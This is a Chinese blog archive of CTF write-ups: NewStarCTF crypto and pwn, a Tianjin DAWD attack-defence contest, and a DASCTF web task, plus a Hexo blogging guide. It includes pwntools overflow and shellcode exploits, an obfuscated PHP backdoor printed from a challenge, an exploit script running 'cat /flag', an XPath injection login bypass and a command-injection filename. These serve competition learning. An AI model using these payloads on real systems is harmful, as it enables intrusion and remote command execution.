使用cyberchef,第一段得到flag{dazzling_encoding#4e0ad4,第二段得到:f0ca08d1e1d0f10c0c7afe422fea7,第三段使用UUencode解密UUencode加密/解密 - Bugku CTF,得到c55192c992036ef623372601ff3a}。 拼接一下,得到flag:flag{dazzling_encoding#4e0ad4f0ca08d1e1d0f10c0c7afe422fea7c55192c992036ef623372601ff3a} Affine 附件一段python 1 2 3 4 5 6 7 8 9 10 from flag import flag, key ciphertext = [] for f in flag: ciphertext.append((key[0]*f + key[1]) % 256) print(bytes(ciphertext).hex()) # dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064 因为flag前4个字母是flag,因此可以列出4个方程 1 2 3 4 221+256*a=key0*102+key1 67+256*b=key0*108+key1 136+256*c=key0*97+key1 238+256*d=key0*103+key1 得到 1 2 key0 = (52 + 256 * (a - b + c - d)) / -12 key1 = 221 + 256 * a - key0 * 102 测试猜测key0=17,key1=23 解密 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 # 密文和密钥 ciphertext_hex = "dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064" key = (17, 23) # 请将a和b替换为实际的密钥值 # 计算key[0]的模数逆 def mod_inverse(a, m): m0, x0, x1 = m, 0, 1 while a > 1: q = a // m m, a = a % m, m x0, x1 = x1 - q * x0, x0 return x1 + m0 if x1 < 0 else x1 # 将密文转换为字节列表 ciphertext_bytes = bytes.fromhex(ciphertext_hex) flag = [] # 逆向解密 for c in ciphertext_bytes: original_byte = ((c - key[1]) * mod_inverse(key[0], 256)) % 256 flag.append(original_byte) # 将解密后的字节列表转换为字符串 original_flag = bytes(flag).decode('utf-8') print(original_flag) 得到flag:flag{4ff1ne_c1pher_i5_very_3azy} babyaes 打开附件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from Crypto.Cipher import AES import os from flag import flag from Crypto.Util.number import * def pad(data): return data + b"".join([b'\x00' for _ in range(0, 16 - len(data))]) def main(): flag_ = pad(flag) key = os.urandom(16) * 2 iv = os.urandom(16) print(bytes_to_long(key) ^ bytes_to_long(iv) ^ 1) aes = AES.new(key, AES.MODE_CBC, iv) enc_flag = aes.encrypt(flag_) print(enc_flag) if __name__ == "__main__": main() # 3657491768215750635844958060963805125333761387746954618540958489914964573229 # b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i' key是32bytes,256bits ;iv是16bytes ,128bits key^iv ,那么只有 iv 与 key的低128位相异或,所以key的高128位是固定不变的。所以输出结果的高128bits,就是key的高128bits,进而可以得到key的所有值256bits。 之后key的低128bits,与输出结果的低128bits相异或,所得结果就是iv的值了 解密: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from Crypto.Cipher import AES import os from gmpy2 import* from Crypto.Util.number import* xor = 3657491768215750635844958060963805125333761387746954618540958489914964573229^1 enc_flag = b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i' out = long_to_bytes(xor) key = out[:16]*2 # print(key) iv = bytes_to_long(key[16:])^bytes_to_long(out[16:]) # print(iv) iv = long_to_bytes(iv) # print(iv) aes = AES.new(key,AES.MODE_CBC,iv) flag = aes.decrypt(enc_flag) print(flag) 得到b'firsT_cry_Aes\x00\x00\x00' flag:flag{firsT_cry_Aes} Pwn 3/5 ret2text 栈溢出 ida打开发现明显的栈溢出,而且还有后门backdoor()函数 反汇编代码 1 2 3 4 5 6 7 8 9 10 int __cdecl main(int argc, const char **argv, const char **envp) { char buf[32]; // [rsp+0h] [rbp-20h] BYREF init(argc, argv, envp); puts("Welcome to NewStar CTF!!"); puts("Show me your magic"); read(0, buf, 0x100uLL); return 0; } backdoor代码 1 2 3 4 5 int backdoor() { puts("Congratulations!!!"); return execve("/bin/sh", 0LL, 0LL); } backdoor地址00000000004011FB 编写脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import * return_address = 0x4011FB padding = b'A' * 40 # 构造payload payload = padding + p64(return_address) # 连接目标服务 r = remote('node4.buuoj.cn',27081) r.recvline() r.recvline() # 发送payload r.sendline(payload) # 接收响应 r.interactive() 之后直接cat flag即可拿到flag:flag{11b564d9-fb42-41c6-a215-a750c4fc8c28} ezshellcode 反汇编 1 2 3 4 5 6 7 8 9 10 11 int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { void *buf; // [rsp+8h] [rbp-8h] init(argc, argv, envp); buf = (void *)(int)mmap((void *)0x66660000, 0x1000uLL, 7, 50, -1, 0LL); puts("Welcome to NewStar CTF!!"); puts("Show me your magic"); read(0, buf, 0x100uLL); JUMPOUT(0x66660000LL); } 直接写shellcode即可,网上随便搜一个shellcode,编写脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * # shellcode shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05' # 启动进程 r = remote('node4.buuoj.cn',28681) # 读取欢迎信息 print(r.recv()) # 写入shellcode到内存块 r.sendline(shellcode) r.interactive() # 关闭进程 r.close() 直接cat flag newstar shop 主函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v4; // [rsp+8h] [rbp-8h] v4 = __readfsqword(0x28u); init(argc, argv, envp); while ( 1 ) { menu(); if ( (int)__isoc99_scanf("%d", &v3) <= 0 ) puts("Invalid input"); switch ( v3 ) { case 1: shop(); break; case 2: makemoney(); break; case 3: dont_try(); break; default: puts("nothing here"); puts("\n"); break; } } } menu() 1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned __int64 menu() { unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); puts("================="); puts("1.Go to the shop "); puts("2.Make some money"); puts("3.Don't choose "); puts("================="); puts("\n"); return v1 - __readfsqword(0x28u); } shop() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 unsigned __int64 shop() { int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("============================="); puts("===Welcome to newstar shop==="); puts("============================="); puts("1.newstar's gift 20$"); puts("2.pwn write up 40$"); puts("3.shell 9999$"); puts("\n"); puts("All things are only available for one day!"); puts("What do you want to buy?"); puts("\n"); if ( (int)__isoc99_scanf("%d", &v1) <= 0 ) puts("Invalid input"); if ( v1 != 3 ) { if ( v1 > 3 ) { LABEL_17: puts("nothing here"); puts("\n"); return v2 - __readfsqword(0x28u); } if ( v1 == 1 ) { if ( (unsigned int)money > 0x13 ) { money -= 20; puts("You buy a newstar's gift"); puts("That is the gift:"); puts("What will happen when int transfer to unsigned int?"); goto LABEL_10; } } else { if ( v1 != 2 ) goto LABEL_17; if ( (unsigned int)money > 0x27 ) { money -= 40; puts("You buy a pwn write up"); puts("That is free after the match,haha"); goto LABEL_10; } } puts("Sorry,you don't have enough money"); LABEL_10: puts("\n"); return v2 - __readfsqword(0x28u); } if ( (unsigned int)money > 0x270E ) { money = 0; puts("How do you buy it?"); puts("\n"); system("/bin/sh"); } else { puts("Sorry,you don't have enough money"); puts("\n"); } return v2 - __readfsqword(0x28u); } makemoney() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 unsigned __int64 makemoney() { int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("============================"); puts("==========Job list=========="); puts("============================"); puts("1.McDonald part time job 20$"); puts("2.MeiTuan takeout 40$"); puts("3.Giving out leaflets 60$"); puts("What do you want to do?"); puts("\n"); if ( (int)__isoc99_scanf("%d", &v1) <= 0 ) puts("Invalid input"); switch ( v1 ) { case 1: if ( hour <= 3 ) goto LABEL_12; puts("You chose McDonald's part time job"); puts("It took you 4hours and earned 20$"); puts("\n"); hour -= 4; money += 20; break; case 2: if ( hour <= 7 ) { LABEL_12: puts("You need to rest"); puts("\n"); return v2 - __readfsqword(0x28u); } puts("You chose MeiTuan takeout"); puts("It took you 8hours and earned 40$"); puts("\n"); hour -= 8; money += 40; break; case 3: if ( hour > 11 ) { puts("You chose giving out leaflets"); puts("It took you 12hours and earned 60$"); puts("\n"); hour -= 12; money += 60; return v2 - __readfsqword(0x28u); } goto LABEL_12; default: puts("nothing here"); puts("\n"); return v2 - __readfsqword(0x28u); } return v2 - __readfsqword(0x28u); } dont_try() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 unsigned __int64 dont_try() { unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); if ( chance ) { puts("You shouldn't choose this"); puts("Please remember, the shop owner doesn't like his secret to be found"); puts("To punish your choice, you will lose 50$ and you will never be able to choose it!"); puts("\n"); money -= 50; --chance; } return v1 - __readfsqword(0x28u); } 原理:有符号型负数int转化为无符号int会导致无符号int数值特别大 因此,先把所有money花光,之后去dont_try()函数减钱,将其变成负数,即可买到shell 总结 作为新生赛,还是比较简单的,对初学者比较友好。 贴一个官方wp:NewStarCTF 2023 Week1 官方WriteUp (shimo.im)

2023/9/26
articleCard.readMore

天津市大学生信息安全网络攻防大赛

介绍 此次比赛设DAWD攻防赛和应急响应实战场景赛两个赛题类型,两种赛题同时开赛,其中: ① DAWD攻防赛会提供4个攻防题目环境,2个web题目环境,2个pwn题目环境,比赛开始时全部开放; ② 应急响应实战场景赛共一个场景,场景赛包含多个题目,根据问题的难度会设置不同的分值,选手可以通过提交不同题目获取相应的分值。 排名 队伍名字 NKV DAWD攻防赛排名第一 应急响应排名第七 总分第一 过程 dawd的shop题目我们审计出了两个漏洞 第一个是在/config/config.php 1 2 3 4 5 6 7 8 9 10 11 <?php @$_++; $__=("`"^"?").(":"^"}").("%"^"`").("{"^"/"); $___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|"); ${$__}[!$_](${$___}[$_]); ?> 一个明显的后门,相当于$_GET['0']($_POST['1']) 直接system('cat /flag')就行 另一个是在/controller/index.class.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 <?php class indexController extends medoo { function index() { $date = get('time'); switch ($date) { case 'today': $datas['time'] = 'today'; break; case 'yestoday': $datas['time'] = 'yestoday'; break; case 'before': $datas['time'] = 'before'; break; default: $datas['time'] = 'today'; break; } $datas['title'] = 'ASHOP'; $database = new index(); $datas['cats'] = $database->get_cats(); $user_data = array(); $user_data['time'] = time(); $user_data['ip'] = $_SERVER['REMOTE_ADDR']; setcookie("AshopToken", base64_encode(serialize($user_data))); $this->display( $datas ); } function cat() { $catid = get('id'); $datas['title'] = 'cat | ASHOP'; $datas['catid'] = $catid; $database = new index(); $datas['cats'] = $database->get_cats(); $this->display( $datas ); } function more() { $date = get('time'); switch ($date) { case 'today': $time = date('Y-m-d',time()); break; case 'yestoday': $time = date('Y-m-d',strtotime('-1 day')); break; case 'before': $time = date('Y-m-d',strtotime('-2 day')); break; } $database = new index(); $datas['contents'] = $database->get_contents( $time ); $data = $datas['contents']; $result = $database->get_more( $data ); echo $result; } function cat_more() { $catid = get('id'); $database = new index(); $datas['contents'] = $database->cat_contents( $catid ); $data = $datas['contents']; //print_r($data); $result = $database->get_more( $data ); echo $result; } function show_pic() { $pic = get('file'); if ($pic != null){ header("Content-type:image/jpeg"); echo file_get_contents($pic); } } } 其中末尾处 1 2 3 4 5 6 7 8 function show_pic() { $pic = get('file'); if ($pic != null){ header("Content-type:image/jpeg"); echo file_get_contents($pic); } } 参数file直接作为变量进行file_get_contents,没有对变量进行过滤,导致直接?c=index&a=show_pic&file=/flag就可以拿到flag 这里直接贴上我的exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import re import requests import sys # 正则匹配flag def find_flag (str): pattern = r'^flag\{.*\}$' result = re.match(pattern, str).group(0) return result # 初始化 try: HOST = sys.argv[1] PORT = sys.argv[2] except: pass url=f"http://{HOST}:{PORT}/config/config.php?0=system" uri="" target=url+uri data={ '1':'cat /flag' } url2=f"http://{HOST}:{PORT}/?c=index&a=show_pic&file=php://filter/resource=/flag" try: a=requests.post(target,data=data) print(find_flag(a.text)) except Exception as e: a=requests.post(url2) print((str(a.text)[-43:-1])) patch也贴上 patch.sh 1 2 3 #!/bin/bash python3 patch.py cp index.class.php /var/www/html/controller/index.class.php index.class.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 <?php class indexController extends medoo { function index() { $date = get('time'); switch ($date) { case 'today': $datas['time'] = 'today'; break; case 'yestoday': $datas['time'] = 'yestoday'; break; case 'before': $datas['time'] = 'before'; break; default: $datas['time'] = 'today'; break; } $datas['title'] = 'ASHOP'; $database = new index(); $datas['cats'] = $database->get_cats(); $user_data = array(); $user_data['time'] = time(); $user_data['ip'] = $_SERVER['REMOTE_ADDR']; setcookie("AshopToken", base64_encode(serialize($user_data))); $this->display($datas); } function cat() { $catid = get('id'); $datas['title'] = 'cat | ASHOP'; $datas['catid'] = $catid; $database = new index(); $datas['cats'] = $database->get_cats(); $this->display($datas); } function more() { $date = get('time'); switch ($date) { case 'today': $time = date('Y-m-d', time()); break; case 'yestoday': $time = date('Y-m-d', strtotime('-1 day')); break; case 'before': $time = date('Y-m-d', strtotime('-2 day')); break; } $database = new index(); $datas['contents'] = $database->get_contents($time); $data = $datas['contents']; $result = $database->get_more($data); echo $result; } function cat_more() { $catid = get('id'); $database = new index(); $datas['contents'] = $database->cat_contents($catid); $data = $datas['contents']; //print_r($data); $result = $database->get_more($data); echo $result; } function show_pic() { $pic = get('file'); if (strpos($pic, "flag") !== false) { $pic = ''; } if ($pic != null) { header("Content-type:image/jpeg"); echo file_get_contents($pic); } } } patch.py 1 2 3 4 5 6 7 8 9 import os file_path = "/var/www/html/config/config.php" try: os.remove(file_path) print(f"File {file_path} has been successfully deleted.") except OSError as e: print(f"Error deleting {file_path}: {e}") 应急响应考察更多的是一些木马和勒索病毒的知识,模式与ctf答题模式差不多,只不过每道题给分是固定的。 总结 第一次打 dawd 模式,感觉 dawd 是 awd 的简化版,没有不死马这种一次打中每次都能拿分的骚操作,更加考验大家写脚本的速度和熟练度。 比赛有点水,主要靠dawd攻防拉分,因为我们队第三轮就开始拿分,等别的队伍开始拿分的时候就已经甩开好多分数了。 应急响应最后只差3道题没答上来,我没做几道题,主要靠队友c,队友tql。 关于这个比赛感觉初赛入围还是挺容易的,随便会做几道题就可以入围,复赛难度也不大,但是赛前没有培训就很离谱,都打上比赛了才去发提交exp的方法,很多队伍连awd都没怎么参与进来,几乎没有几只队伍防守的充分,导致先拿分的队伍比后拿分的队伍分数高了很多,后拿分的很难追上。 贴个题目链接: web-shop 另一道web题,忘记名字了 pwn-ttt 还有一道pwn题找不到了。。。

2023/9/19
articleCard.readMore

[DASCTF 2023 & 0X401七月暑期挑战赛] MyPicDisk

过程 开启容器,发现以下表单,表单信息通过post方法传送 通过xpath万能注入 1 username=admin'&password=']|//*|//*['&submit=%E7%99%BB%E5%BD%95 注入成功,burp观察返回包发现注释信息获得提示下载源码/y0u_cant_find_1t.zip 得到源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 <?php session_start(); error_reporting(0); class FILE { public $filename; public $lasttime; public $size; public function __construct($filename) { if (preg_match("/\//i", $filename)) { throw new Error("hacker!"); } $num = substr_count($filename, "."); if ($num != 1) { throw new Error("hacker!"); } if (!is_file($filename)) { throw new Error("???"); } $this->filename = $filename; $this->size = filesize($filename); $this->lasttime = filemtime($filename); } public function remove() { unlink($this->filename); } public function show() { echo "Filename: " . $this->filename . " Last Modified Time: " . $this->lasttime . " Filesize: " . $this->size . "<br>"; } public function __destruct() { system("ls -all " . $this->filename); } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>MyPicDisk</title> </head> <body> <?php if (!isset($_SESSION['user'])) { echo ' <form method="POST"> username:<input type="text" name="username"></p> password:<input type="password" name="password"></p> <input type="submit" value="登录" name="submit"></p> </form> '; $xml = simplexml_load_file('/tmp/secret.xml'); if ($_POST['submit']) { $username = $_POST['username']; $password = md5($_POST['password']); $x_query = "/accounts/user[username='{$username}' and password='{$password}']"; $result = $xml->xpath($x_query); if (count($result) == 0) { echo '登录失败'; } else { $_SESSION['user'] = $username; echo "<script>alert('登录成功!');location.href='/index.php';</script>"; } } } else { if ($_SESSION['user'] !== 'admin') { echo "<script>alert('you are not admin!!!!!');</script>"; unset($_SESSION['user']); echo "<script>location.href='/index.php';</script>"; } echo "<!-- /y0u_cant_find_1t.zip -->"; if (!$_GET['file']) { foreach (scandir(".") as $filename) { if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) { echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>"; } } echo ' <form action="index.php" method="post" enctype="multipart/form-data"> 选择图片:<input type="file" name="file" id=""> <input type="submit" value="上传"></form> '; if ($_FILES['file']) { $filename = $_FILES['file']['name']; if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) { die("hacker!"); } if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) { echo "<script>alert('图片上传成功!');location.href='/index.php';</script>"; } else { die('failed'); } } } else { $filename = $_GET['file']; if ($_GET['todo'] === "md5") { echo md5_file($filename); } else { $file = new FILE($filename); if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") { echo "<img src='../" . $filename . "'><br>"; echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>"; echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>"; } else if ($_GET['todo'] === "remove") { $file->remove(); echo "<script>alert('图片已删除!');location.href='/index.php';</script>"; } else if ($_GET['todo'] === "show") { $file->show(); } } } } ?> </body> </html> 分析源码,发现有文件上传白名单(jpg|jpeg|gif|png|bmp后缀名) 继续分析,发现class FILE的system("ls -all " . $this->filename);处存在命令拼接 但是有条件,必须保证文件名有且只有一个.,并且不能含有\/ 接下来想方法绕过 首先上传文件1111.jpg,文件内容为ls /用来查看根目录flag文件名 接下来上传名为;`cat 111*`;1.jpg的文件再进行?filename=;`cat 111*`;1.jpg&todo=show,发现成功执行了命令,返回得到flag路径adjaskdhnask_flag_is_here_dakjdnmsakjnfksd 最后更换文件内容为cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd,再次执行命令得到flag 原理 xpath注入 题目中xpath查询语句拼接后为 1 /accounts/user[username='admin'' and password='']|//*|//*[''] 其实后面不重要,因为admin的引号已经将查询语句闭合了 相当于 1 /accounts/user[username='admin'] 于是相当于查询是否有admin账户,得到结果 rce ;可以分隔一串命令 `Linux中反引号的作用是在将反引号内的命令处理完毕之后,会将返回的信息传给反引号的位置,再次执行命令 后记 看了网上好多wp,发现我的做法貌似是非预期 预期解是md5_file函数结合phar打的 太菜了太菜了,别的题目为什么不写wp,因为都不会。。。。。

2023/7/27
articleCard.readMore

使用hexo框架搭建github静态博客

第一次使用 hexo 搭建静态网站,踩了好多坑,立此贴记录一下 本地配置Hexo 安装Nodejs Nodejs官方地址 从以上链接下载 nodejs 安装(官网下载稍慢,建议翻墙) 设置npm淘宝镜像站 npm 默认的源的下载速度可能很慢,建议使用淘宝镜像替换。执行下面的命令,将 npm 的源设置成淘宝镜像站。 1 npm config set registry "https://registry.npm.taobao.org" 安装git git官方链接 从以上链接下载 git 安装 一路确认,安装时要勾选 Add to PATH 选项 验证 cmd 输入以下命令观察是否执行正确 1 2 git --version npm -v 初始化Hexo 执行以下命令安装 hexo 1 npm install hexo-cli g 在电脑的某个磁盘或路径新建一个文件夹(名字可以随便取),比如我的是 D:\blog,由于这个文件夹将来就作为您存放博客的地方,所以最好不要随便放 在 D:\blog 文件夹下右键打开 Git Bash Here,输入命令: hexo init 进行初始化 hexo 会自动下载一些文件到这个目录 接着在 cmd 中安装其他 hexo 插件 1 2 3 4 5 6 7 8 9 npm install npm install hexo-server --save npm install hexo-admin --save npm install hexo-generator-archive --save npm install hexo-generator-feed --save npm install hexo-generator-search --save npm install hexo-generator-tag --save npm install hexo-deployer-git --save npm install hexo-generator-sitemap --save 至此,本地 hexo 配置完毕。 现在可以使用 hexo 搭建本地服务器来使用 使用 hexo g 生成静态页面,使用 hexo s 开启本地服务器,接下来可以用浏览器地址栏输入 localhost:4000 来看见刚刚创建的博客 部署github 配置 Github 注册 github 账号,并在主页创建仓库,名字为 [yourname].github.io 配置ssh 打开git bash终端设置 user.name 和 user.email 1 2 git config --global user.name "你的GitHub用户名" git config --global user.email "你的GitHub注册邮箱" 生成ssh密匙 1 ssh-keygen -t rsa -C "你的GitHub注册邮箱" 将公匙添加到 github 上 将hexo博客部署到github上 修改配置文件 blog/_config.yml,修改deploy项的内容,如下所示: 注意: 分支(branch)要与自己创建仓库的分支名称一致(注意master与main的区别) 冒号后面必须添加一个空格 保持缩进格式一致 给出示例: 1 2 3 4 5 6 # Deployment ## Docs: https://hexo.io/docs/one-command-deployment deploy: - type: git repo: https://github.com/lazy-forever/lazy-forever.github.io.git branch: main 部署hexo 输入下面的命令将hexo博客部署到github中: 1 2 3 hexo cl #清理之前生成的文件 hexo g #生成静态页面 hexo d #部署 隔一段时间后打开浏览器,输入 [yourname].github.io 即可看到我们部署的博客 关于翻墙 众所周知,中国大陆境内对于 github 的访问一直处于时常能连上时常连不上的状态,因此如果我们在执行 hexo d 命令时翻墙,会让部署的过程更加丝滑。 我的电脑一直在使用 clash 进行翻墙,而在 cmd 中使用hexo d时,clash 必须用以管理员身份打开并开启增强功能,如图:

2023/6/30
articleCard.readMore

My First Blog

这是我的第一篇博客。

2023/5/29
articleCard.readMore